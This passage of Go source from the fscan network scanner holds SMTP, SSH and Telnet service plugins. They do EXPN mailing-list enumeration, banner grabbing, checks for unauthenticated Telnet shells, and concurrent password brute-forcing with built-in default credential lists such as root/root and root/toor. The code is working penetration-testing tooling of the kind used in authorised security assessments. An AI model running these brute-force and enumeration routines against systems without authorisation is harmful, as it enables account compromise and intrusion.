if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
if !strings.HasPrefix(response, "250") {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
testLists := []string{"all", "staff", "users", "admin", "everyone", "postmaster"}
|
||||
|
||||
for _, list := range testLists {
|
||||
if _, err := fmt.Fprintf(conn, "EXPN %s\r\n", list); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
expnResponse := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(expnResponse, "250") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list),
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// getServerInfo 获取SMTP服务器信息
|
||||
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan string, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- ""
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- ""
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
welcome := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(welcome, "220") {
|
||||
serverInfo := strings.TrimPrefix(welcome, "220 ")
|
||||
resultChan <- serverInfo
|
||||
return
|
||||
}
|
||||
|
||||
resultChan <- welcome
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
// identifyService SMTP服务识别
|
||||
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
serverInfo := p.getServerInfo(ctx, info, config, state)
|
||||
var banner string
|
||||
|
||||
if serverInfo != "" {
|
||||
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
|
||||
} else {
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smtp",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
banner = "SMTP邮件服务"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "smtp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("smtp", func() Plugin {
|
||||
return NewSMTPPlugin()
|
||||
}, []int{25, 465, 587, 2525})
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
//go:build plugin_ssh || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
// 预编译正则表达式
|
||||
var sshBannerRegex = regexp.MustCompile(`SSH-([0-9.]+)-(.+)`)
|
||||
|
||||
// SSHPlugin SSH扫描插件
|
||||
type SSHPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewSSHPlugin 创建SSH插件
|
||||
func NewSSHPlugin() *SSHPlugin {
|
||||
return &SSHPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ssh"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行SSH扫描
|
||||
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 如果指定了SSH密钥,优先使用密钥认证
|
||||
if config.Credentials.SSHKeyPath != "" {
|
||||
if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config, state)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("ssh", config)
|
||||
if len(credentials) == 0 {
|
||||
credentials = []Credential{
|
||||
{Username: "root", Password: ""},
|
||||
{Username: "root", Password: "root"},
|
||||
{Username: "root", Password: "toor"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: ""},
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig)
|
||||
|
||||
// 记录成功
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建SSH认证函数
|
||||
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doSSHAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doSSHAuth 执行SSH认证
|
||||
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
// 创建SSH配置
|
||||
sshConfig := &ssh.ClientConfig{
|
||||
User: cred.Username,
|
||||
Timeout: config.Timeout,
|
||||
//nolint:gosec // G106: 扫描工具需要忽略主机密钥验证以连接未知主机
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
|
||||
// 设置认证方法
|
||||
if len(cred.KeyData) > 0 {
|
||||
signer, err := ssh.ParsePrivateKey(cred.KeyData)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
sshConfig.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
sshConfig.Auth = []ssh.AuthMethod{ssh.Password(cred.Password)}
|
||||
}
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySSHErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 在TCP连接上创建SSH客户端
|
||||
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySSHErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 创建SSH客户端
|
||||
client := ssh.NewClient(sshConn, chans, reqs)
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &sshClientWrapper{client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// sshClientWrapper 包装 ssh.Client 以实现 io.Closer
|
||||
type sshClientWrapper struct {
|
||||
*ssh.Client
|
||||
}
|
||||
|
||||
func (w *sshClientWrapper) Close() error {
|
||||
return w.Client.Close()
|
||||
}
|
||||
|
||||
// classifySSHErrorType SSH错误分类
|
||||
func classifySSHErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
sshAuthErrors := append(CommonAuthErrors,
|
||||
"unable to authenticate",
|
||||
"no supported methods remain",
|
||||
)
|
||||
|
||||
return ClassifyError(err, sshAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// scanWithKey 使用SSH私钥扫描
|
||||
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
||||
return nil
|
||||
}
|
||||
|
||||
usernames := config.Credentials.Userdict["ssh"]
|
||||
if len(usernames) == 0 {
|
||||
usernames = []string{"root", "admin", "ubuntu", "centos", "user", "git", "www-data"}
|
||||
}
|
||||
|
||||
// 逐个测试用户名
|
||||
for _, username := range usernames {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
cred := Credential{
|
||||
Username: username,
|
||||
KeyData: keyData,
|
||||
}
|
||||
|
||||
result := p.doSSHAuth(ctx, info, cred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
||||
Service: "ssh",
|
||||
Username: username,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ssh",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readSSHBanner(conn, config); banner != "" {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ssh",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ssh",
|
||||
Error: fmt.Errorf("无法识别为SSH服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// readSSHBanner 读取SSH服务器Banner
|
||||
func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
banner := make([]byte, 256)
|
||||
n, err := conn.Read(banner)
|
||||
if err != nil || n < 4 {
|
||||
return ""
|
||||
}
|
||||
|
||||
bannerStr := strings.TrimSpace(string(banner[:n]))
|
||||
|
||||
if strings.HasPrefix(bannerStr, "SSH-") {
|
||||
if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 {
|
||||
return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2])
|
||||
}
|
||||
return fmt.Sprintf("SSH服务: %s", bannerStr)
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ssh", func() Plugin {
|
||||
return NewSSHPlugin()
|
||||
}, []int{22, 2222, 2200, 22222})
|
||||
}
|
||||
|
||||
// 确保实现了 io.Closer 接口
|
||||
var _ io.Closer = (*sshClientWrapper)(nil)
|
||||
@@ -0,0 +1,566 @@
|
||||
//go:build plugin_telnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Telnet协议时间常量
|
||||
const (
|
||||
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
||||
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
||||
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
||||
telnetReadTimeout = 2 * time.Second // 读取超时
|
||||
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
||||
telnetMaxAttempts = 10 // 最大尝试次数
|
||||
)
|
||||
|
||||
// TelnetPlugin Telnet扫描插件
|
||||
type TelnetPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewTelnetPlugin() *TelnetPlugin {
|
||||
return &TelnetPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("telnet"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("telnet_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("telnet", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Telnet认证函数
|
||||
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doTelnetAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doTelnetAuth 执行Telnet认证
|
||||
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyTelnetErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
if p.performTelnetAuth(conn, cred.Username, cred.Password) {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &telnetConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
} else {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败"),
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// telnetConnWrapper 包装Telnet连接以实现io.Closer
|
||||
type telnetConnWrapper struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func (w *telnetConnWrapper) Close() error {
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyTelnetErrorType Telnet错误分类
|
||||
func classifyTelnetErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
telnetAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"authentication failure",
|
||||
"auth failed",
|
||||
"login failed",
|
||||
"invalid credentials",
|
||||
"invalid password",
|
||||
"invalid username",
|
||||
"access denied",
|
||||
"login incorrect",
|
||||
"permission denied",
|
||||
"bad password",
|
||||
"wrong password",
|
||||
"incorrect login",
|
||||
"login failure",
|
||||
"invalid login",
|
||||
"authentication error",
|
||||
"unauthorized",
|
||||
"credentials rejected",
|
||||
}
|
||||
|
||||
return ClassifyError(err, telnetAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthAccess 测试Telnet未授权访问
|
||||
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
attempts := 0
|
||||
maxAttempts := telnetMaxAttempts
|
||||
|
||||
for attempts < maxAttempts {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetBannerTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetRetryDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "telnet",
|
||||
Banner: "Telnet远程终端服务 (未授权访问)",
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetRetryDelay)
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// performTelnetAuth 执行Telnet认证
|
||||
func (p *TelnetPlugin) performTelnetAuth(conn net.Conn, username, password string) bool {
|
||||
buffer := make([]byte, 1024)
|
||||
|
||||
loginPromptReceived := false
|
||||
attempts := 0
|
||||
maxAttempts := telnetMaxAttempts
|
||||
|
||||
for attempts < maxAttempts && !loginPromptReceived {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
return true
|
||||
}
|
||||
|
||||
if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
loginPromptReceived = true
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
if !loginPromptReceived {
|
||||
return false
|
||||
}
|
||||
|
||||
_, err := conn.Write([]byte(username + "\r\n"))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetRetryDelay)
|
||||
passwordPromptReceived := false
|
||||
attempts = 0
|
||||
maxPasswordAttempts := 5
|
||||
|
||||
for attempts < maxPasswordAttempts && !passwordPromptReceived {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, readErr := conn.Read(buffer)
|
||||
if readErr != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
|
||||
if strings.Contains(strings.ToLower(cleaned), "password") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
passwordPromptReceived = true
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
if !passwordPromptReceived {
|
||||
return false
|
||||
}
|
||||
|
||||
_, err = conn.Write([]byte(password + "\r\n"))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetAuthDelay)
|
||||
attempts = 0
|
||||
maxResultAttempts := 5
|
||||
|
||||
for attempts < maxResultAttempts {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
|
||||
if p.isLoginSuccess(cleaned) {
|
||||
return true
|
||||
}
|
||||
|
||||
if p.isLoginFailed(cleaned) {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// handleIACNegotiation 处理IAC协商
|
||||
func (p *TelnetPlugin) handleIACNegotiation(conn net.Conn, data []byte) {
|
||||
for i := 0; i < len(data); i++ {
|
||||
if data[i] == 255 && i+2 < len(data) {
|
||||
cmd := data[i+1]
|
||||
opt := data[i+2]
|
||||
|
||||
switch cmd {
|
||||
case 251: // WILL
|
||||
_, _ = conn.Write([]byte{255, 254, opt})
|
||||
case 253: // DO
|
||||
_, _ = conn.Write([]byte{255, 252, opt})
|
||||
}
|
||||
i += 2
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// cleanResponse 清理telnet响应中的IAC命令
|
||||
func (p *TelnetPlugin) cleanResponse(data string) string {
|
||||
var result strings.Builder
|
||||
|
||||
for i := 0; i < len(data); i++ {
|
||||
b := data[i]
|
||||
if b == 255 && i+2 < len(data) {
|
||||
i += 2
|
||||
continue
|
||||
}
|
||||
if (b >= 32 && b <= 126) || b == '\r' || b == '\n' || b == '\t' {
|
||||
result.WriteByte(b)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.TrimSpace(result.String())
|
||||
}
|
||||
|
||||
// isShellPrompt 检查是否为shell提示符
|
||||
func (p *TelnetPlugin) isShellPrompt(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
shellPrompts := []string{"$", "#", ">", "~$", "]$", ")#", "bash", "shell", "cmd"}
|
||||
|
||||
for _, prompt := range shellPrompts {
|
||||
if strings.Contains(data, prompt) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginSuccess 检查登录是否成功
|
||||
func (p *TelnetPlugin) isLoginSuccess(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
if p.isShellPrompt(data) {
|
||||
return true
|
||||
}
|
||||
|
||||
successIndicators := []string{
|
||||
"welcome", "last login", "successful", "logged in",
|
||||
"login successful", "authentication successful",
|
||||
"welcome to", "successfully logged", "login ok",
|
||||
"connected to", "logged on",
|
||||
}
|
||||
|
||||
for _, indicator := range successIndicators {
|
||||
if strings.Contains(data, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginFailed 检查登录是否失败
|
||||
func (p *TelnetPlugin) isLoginFailed(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
failureIndicators := []string{
|
||||
"incorrect", "failed", "denied", "invalid", "wrong", "bad", "error",
|
||||
"authentication failed", "login failed", "access denied",
|
||||
"permission denied", "authentication error", "login incorrect",
|
||||
"invalid password", "invalid username", "unauthorized",
|
||||
"login failure", "connection refused",
|
||||
}
|
||||
|
||||
for _, indicator := range failureIndicators {
|
||||
if strings.Contains(data, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
repeatPrompts := []string{"login:", "username:", "user:", "name:"}
|
||||
|
||||
for _, prompt := range repeatPrompts {
|
||||
if strings.Contains(data, prompt) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// identifyService Telnet服务识别
|
||||
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
buffer := make([]byte, 2048)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
cleaned := p.cleanResponse(string(buffer[:n]))
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
var banner string
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
banner = "Telnet远程终端服务 (未授权访问)"
|
||||
} else if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleanedLower, "user") {
|
||||
banner = "Telnet远程终端服务 (需要认证)"
|
||||
} else if strings.Contains(cleanedLower, "password") {
|
||||
banner = "Telnet远程终端服务 (只需密码)"
|
||||
} else if cleaned != "" {
|
||||
displayCleaned := cleaned
|
||||
if len(displayCleaned) > 50 {
|
||||
displayCleaned = displayCleaned[:50] + "..."
|
||||
}
|
||||
banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned)
|
||||
} else {
|
||||
banner = "Telnet远程终端服务"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("telnet_service", target, banner))
|
||||
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
